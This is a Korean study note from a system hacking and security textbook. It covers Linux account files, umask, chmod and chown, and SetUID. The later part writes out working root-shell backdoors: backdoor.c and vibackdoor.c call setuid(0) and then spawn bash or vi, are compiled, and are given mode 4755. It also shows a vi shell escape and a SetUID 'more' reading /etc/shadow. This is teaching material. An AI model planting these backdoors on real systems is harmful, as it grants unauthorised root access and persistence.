[시스템 해킹과 보안] 계정과 권한
리눅스/유닉스의 계정과 권한
시스템에서 해킹을 하는 주요 목적은 권한 상승이다. 즉 일반 사용자가 올바르지 못한 경로로 root 계정의 권한을 얻는 것이 해킹이라고 볼 수 있다.
/etc/paswd 파일 내용
root : x : 0 : 0 : root : /root : /bin/bash
1 2 3 4 5 6 7
- root : 사용자 계정 (id)을 나타낸다.
- x : 패스워드가 암호화되어 shadow 파일에 저장되어 있음을 나타낸다
- 0 : 사용자 번호(UID, User ID) 다
- 0 : 그룹 번호(GID, Group ID) 다
- root : 사용자의 일반 이름이다. 시스템 설정에 별다른 영향이 없는 설정으로 자신의 이름을 입력해도 된다.
- /root : 사용자의 홈 디렉터리를 설정한다. 관리자이므로 홈 디렉터리가 /root다. 일반 사용자는 /home/wishfree와 같이 /home 디렉터리 하위에 위치한다.
- /bin/bash : 사용자의 셸을 정의한다. 기본 설정은 bash 셸로 자신이 사용하는 셸을 이곳에 정의
umask
rwx 는 각각의 숫자 r(4) + w(2) + x(1)를 더한 수 7로 읽음
ex) rwxr-xr-x 인 경우 755로 읽음
파일과 디렉터리를 생성할 때 권한은 설정되어 있는 umask에 의해 결정
/etc/profile에서 설정 가능
기본 생성 최고 권한이 파일은 666이며, 디렉토리는 777이다.
이때 파일 및 디렉토리 생성 시 기본 권한은 최고 권한에서 umask 값을 빼준 값이다.
ex) 기본 권한이 파일 rw-r--r--(644), 디렉토리 rwxr-xr-x(755)인 경우 umask 값이 022로 설정됨
시스템 전체의 umask 값은 관리자만 변경 가능하고 su 명령을 이용하여 변경함
생성되어 있는 파일 및 디렉토리 권한 변경
생성되어 있는 파일의 개별 권한 변경은 chmod 명령을 이용
chmod 777 c.txt
파일의 소유자 변경은 chown, 그룹 변경은 chgrp 명령 이용
chown wishfree c.txt //c.txt를 wishfree의 것으로 변경
chgrp wishfree c.txt
SetUID
시스템에서 해킹을 하는 주요 목적은 권한 상승이다.
SetUID를 이용한 권한 상승을 살펴보자
계정) wishfree : x : 500 : 500 : ydi : /home/wishfree : /bin/bash
사용자 번호 UID와 그룹 번호 GID를 500으로 부여받아 로그인함
- 계정이 누구인가를 식별하는 UID, GID를 RUID, RGID라고 함 (소유자)
- 어떤 권한을 가지고 있는가에 대한 UID, GID는 EUID, EGID 라고 함 (실행 권한)
- 최초로 로그인할 때는 RUID와 EUID, RGID와 EGID가 각각 같은 값을 가짐
SetUID 비트를 가진 프로그램을 실행했을 때만 프로세스 안에서 잠시 일치하지 않는 상태가 발생함
SetUID 예시
패스워드를 설정하면 패스워드에 대한 암호화 값이 /etc/shadow에 저장된다.
권한이 000. 즉 관리자인 root도 읽는 권한이 없다.
하지만 소유자가 root므로 이 파일에 대한 권한 조정과 접근은 가능하다.
passwd 명령을 실행할 때는 우리 모두 관리자와 같은 권한을 소유할 필요가 있다. (root 소유의 파일 /etc/shadow 를 일반 사용자가 수정해야 하기 때문에)
즉 RUID가 500번이라도 EUID는 0이 된다.
passwd 명령을 끝내는 순간 다시 EUID도 원래의 500으로 바뀌는데 이것이 SetUID의 역할이다.
/usr/bin/passwd 파일 권한을 확인해보자
부여된 권한 rws r-x r-x 중에 s가 SetUID를 가리킨다.
/usr/bin/passwd의 권한은 4755 (rws r-x r-x)
SetUID, SetGID는 4000, 2000으로 표현됨
SetUID는 소유자 권한 x 자리를 s로, SetGID는 그룹의 x 자리를 s로 바꾸어 사용
SetUID를 이용한 권한 상승
passwd 파일에는 SetUID 권한이 주어지며, 파일 소유자가 root므로 파일이 실행되는 프로세스는 실행 시간 동안 소유자인 root 권한으로 실행된다.
SetUID를 활용한 해킹 기법 1
1. SetUID 비트를 가진 shell 생성
원본의 bash shell을 /test 디렉토리에 복사하여 4755 권한 부여.
bash shell 프로그램은 프로세스가 살아있는 동안은 파일의 소유자인 root 권한으로 실행
cp /bin/bash /test/bash
chmod 4755 bash
2. 일반 사용자 계정으로 SetUID 비트가 주어진 shell 실행
id // 일반 사용자 게정임을 확인
./bash //setuid 가 설정된 프로그램 실행
id // 변경된 계정 확인
root 권한 획득 실패
4755 권한 shell 실행 후에도 여전히 uid/gid는 500이다.
shell 프로세스는 계속 실행되는 프로세스임. 따라서 임시로 꼭 필요한 경우에만 root 권한을 부여한다는 SetUID 개념에 어긋남
3. SetUID 비트를 이용한 bash shell 획득
shell 프로세스를 다른 일반 프로세스로 감싸서 수행해보자
시스템 콜 함수를 이용하는 프로그램 backdoor.c 를 작성
#include <stdio.h>
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
//시스템 콜 함수
}
backdoor.c를 root 계정으로 컴파일하여 4755 권한 부여
gcc -o backdoor backdoor.c
chmod 4755 backdoor
root 권한 획득 성공
잘못 설정된 SetUID 파일
/etc/shadow는 관리자 소유의 파일이므로 일반 계정의 접근이 금지됨.
하지만 more 명령어에 SetUID 비트가 주어져 있다면 /etc/shadow 파일을 읽을 수 있다.
root에 의해 잘못 설정된 SetUID 파일의 위험성을 보여줌
SetUID를 활용한 해킹 기법 2
SetUID 비트가 할당된 vi 에디터를 이용한 권한 상승
1. 시스템 콜로 vi를 실행하는 vibackdoor.c 작성
#include <stdio.h>
int main(){
setuid(0);
setgid(0);
system("/bin/vi");
}
2. 작성한 vibackdoor.c 컴파일, SetUID 비트 부여
gcc -o vibackdoor vibackdoor.c
chmod 4755 vibackdoor
3. 실행된 vi 화면의 명령어 모드에서 bash shell 실행
:!/bin/bash
4. bash shell 실행으로 인해 vi 에디터 화면이 root 권한을 가진 shell 화면으로 전환
출처 : 시스템 해킹과 보안: 정보 보안 개론과 실습 저자 : 양대일 출판 :한빛아카데미